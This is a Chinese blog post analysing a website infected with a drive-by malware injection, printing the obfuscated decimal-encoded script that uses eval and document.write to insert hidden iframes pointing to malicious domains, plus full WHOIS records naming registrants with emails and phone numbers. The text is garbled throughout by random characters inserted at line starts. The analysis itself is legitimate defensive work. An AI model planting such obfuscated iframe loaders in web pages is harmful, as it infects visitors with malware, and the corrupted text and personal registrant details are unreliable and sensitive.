首发在我的博客里面，
r@e_cD]
M ?fnJ`^|-r http://www.areway.cn/?p=175 _q) `Y:2 g/lv>*+gS ~fA dOh 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
^ ^} Z2PLm0%: <script>t=’60,105,102,114,97,109,101,
7eQ7\,^H 32,115,114,99,61,104,116,116,112,58,47,47,
F{[2|u(4 102,114,101,101,46,117,45,117,117,117,46,99,
[bJ"*^M) 110,47,101,114,114,111,114,46,104,116,109,
Zr;.` (> 32,119,105,100,116,104,61,49,48,48,32,104,
TcpD* %wW 101,105,103,104,116,61,48,62,60,47,105,102,
?qHW"0Tjn 114,97,109,101,62′;
_&XT
=SW} t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
%ia/i : VaZS_ qGe: <script>t=’60,105,102,114,97,109,101,32,115,
gpHI)1i'H 114,99,61,104,116,116,112,58,47,47,102,114,
o8KlY? hX 101,101,46,117,45,117,117,117,46,99,110,47,
]0 ouJY 101,114,114,111,114,46,104,116,109,32,119,
^\e:j7@z 105,100,116,104,61,49,48,48,32,104,101,105,
$* b>c: 103,104,116,61,48,62,60,47,105,102,114,97,
b-M[la}1" 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
0"#tK4 document.write(t);</script>
>>(2ZJ _Y|k \|' <html xmlns=”
Nq9Qsia& http://www.w3.org/1999/xhtml KVtnz “>
Z A1?' <head>
,
y{o!w <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
8s?;<6 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
nvu |V3B0 <title>首页 - 爱生活家庭网
5EFow -AH n6 O1 \}YB 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
UG
Fx 转换字符串后的大概内容是（谁点击后果自付）：
9D(M>'Bh <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
~ b3xn T l"I Bt: 查询玉米u-uuu.cn的详细信息：
| (v/> t Domain Name: u-uuu.cn
?
4 qN>uW= ROID: 20070901s10001s64972306-cn
?lR)Hi Domain Status: ok
+SrE Registrant Organization: 王雷
^ 5 F-7R8Q Registrant Name: 王雷
{KeHqM}e Administrative Email:
czlovexs@126.com EK@yzJ % Sponsoring Registrar: 北京万网志成科技有限公司
#n{wK+lz Name Server:ns.yovole.com
_AI2\ e Name Server:ns1.yovole.com
7Q 0 M3m Registration Date: 2007-09-01 17:54
Q7"KgqpQ3 Expiration Date: 2008-09-01 17:54
.Z8 x!!Q* 最后PING了一下地址 都没有什么….
udp& U+L un W{ZfEC 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
p
tv <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
@] H&(bw <script language=”javascript” src=”
a}M7"v9 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script bk2 HAG >
G Q2&D}zh 这个玉米应该有可能是木马作者的：
Ea!}r| ~]0 foafau.info的详细信息：
#8;^ys1f Access to INFO WHOIS information is provided to assist persons in
tI*u"%#t determining the contents of a domain name registration record in the
[53@ '@26 Afilias registry database. The data in this record is provided by
+]I;C Afilias Limited for informational purposes only, and Afilias does not
ujmW {() guarantee its accuracy. This service is intended only for query-based
O5Yk=-_m access. You agree that you will use this data only for lawful purposes
c*~/[:} and that, under no circumstances will you use this data to: (a) allow,
wh|[
"U(' enable, or otherwise support the transmission by e-mail, telephone, or
C0i: *1 facsimile of mass unsolicited, commercial advertising or solicitations
?Sn$A S I
to entities other than the data recipient’s own existing customers; or
lH:TE=|4 (b) enable high volume, automated, electronic processes that send
Z:O24{ro5 queries or data to the systems of Registry Operator, a Registrar, or
BB--UM{7 Afilias except as reasonably necessary to register domain names or
%lv2 ;- modify existing registrations. All rights reserved. Afilias reserves
6}C4 SZ the right to modify these terms at any time. By submitting this query,
cp0>Euco= you agree to abide by this policy.
8Dhq_R'r Domain ID:D22418703-LRMS
eJ'2 CM6 Domain Name:FOAFAU.INFO
x"8( j8e Created On:20-Nov-2007 16:05:42 UTC
mC>7l7% Last Updated On:20-Nov-2007 16:05:44 UTC
7Ar4:iNvX Expiration Date:20-Nov-2008 16:05:42 UTC
TjD`< k Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
%j2YCV7 Status:CLIENT DELETE PROHIBITED
eK/[j xNO Status:CLIENT RENEW PROHIBITED
=c-j4xna> Status:CLIENT TRANSFER PROHIBITED
JP!$uK{u Status:CLIENT UPDATE PROHIBITED
7<IrN\@U Status:TRANSFER PROHIBITED
y"e 'Gg2 Registrant ID:GODA-040110615
1'c!9 Registrant Name:liu hong
{(D$ Xb Registrant Organization:
X]C-y ,r[M Registrant Street1:beijing
kul&m| Registrant Street2:
6by5VESx Registrant Street3:
lCWk)m8 Registrant City:beijing
=<`9T_S 16 Registrant State/Province:
dMeDQ`c`W Registrant Postal Code:100000
*/nb%QV Registrant Country:CN
hrU.QF8 Registrant Phone:+86.860108888777
;fee<7T y Registrant Phone Ext.:
b'M g Registrant FAX:
&1]}^/u2 Registrant FAX Ext.:
cFGP3Q4{ Registrant Email:bbbshiji@163.com
!uO|1b Admin ID:GODA-240110615
Fd5{ pM3 Admin Name:liu hong
+Y)rv6}m Admin Organization:
J24UUZ9&$ Admin Street1:beijing
c #u-E6 Admin Street2:
NjYpNd? g Admin Street3:
KSh<_`j Admin City:beijing
3z\:{yl Admin State/Province:
KDRIy@[e Admin Postal Code:100000
VH#]67 Admin Country:CN
rm2{PV<+d Admin Phone:+86.860108888777
7k+UCi u> Admin Phone Ext.:
lsJ'dS Admin FAX:
tz1iabZ{ Admin FAX Ext.:
h(GgkTj4+ Admin Email:bbbshiji@163.com
"* %=k%' Billing ID:GODA-340110615
HQ/PHUg2 Billing Name:liu hong
j\@s pbE@ Billing Organization:
ln9MVF'!& Billing Street1:beijing
^Bm9y R Billing Street2:
yZmQBh$ Billing Street3:
{r[ *}Bv
Billing City:beijing
WZ 6!VE { Billing State/Province:
g B+cU Billing Postal Code:100000
8* >6+"w Billing Country:CN
RUX!(Xw Billing Phone:+86.860108888777
;op+~@* ! Billing Phone Ext.:
qO &:J\d Billing FAX:
pR`.8MMc8 Billing FAX Ext.:
F~W*"i+EZ Billing Email:bbbshiji@163.com
,dzbI{@ 6 Tech ID:GODA-140110615
2#T|+mKxZM Tech Name:liu hong
r'{pT gm# Tech Organization:
f+fF5Z\ Tech Street1:beijing
?ohLcz Tech Street2:
f[ %\LHq Tech Street3:
1ww|km Tech City:beijing
&vdGK Ys 6 Tech State/Province:
Rp}6}4=d Tech Postal Code:100000
d cPh @3 Tech Country:CN
Mgcq'{[~Y= Tech Phone:+86.860108888777
k5g\s9n] Tech Phone Ext.:
=J0FT 2 d Tech FAX:
|=jgrm1yj Tech FAX Ext.:
p_B,7@Jl Tech Email:bbbshiji@163.com
<|
Xf4. Name Server:NS27.DOMAINCONTROL.COM
$'?CY)h{ Name Server:NS28.DOMAINCONTROL.COM
jpm}EOq<% Name Server:
#vLDN R Name Server:
rIW`(IG_ Name Server:
I*6L` #j[ Name Server:
9co
-W+ Name Server:
[#3:CDT Name Server:
HmbTV(lC Name Server:
.Zf#L'Rf Name Server:
8N c i 1o Name Server:
=* "Amd, Name Server:
u W Q` Name Server:
ik7#Og~ 3 L_)?5IOJ$ 接着下载每个文件里面的代码：
5!tmG- 'b 一步一步看..
;)"r^M)): 
5A ~w_p*} 
3w!oJB 
wpx,~`& 
GlQ=M ) E 
(t<i? >p 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
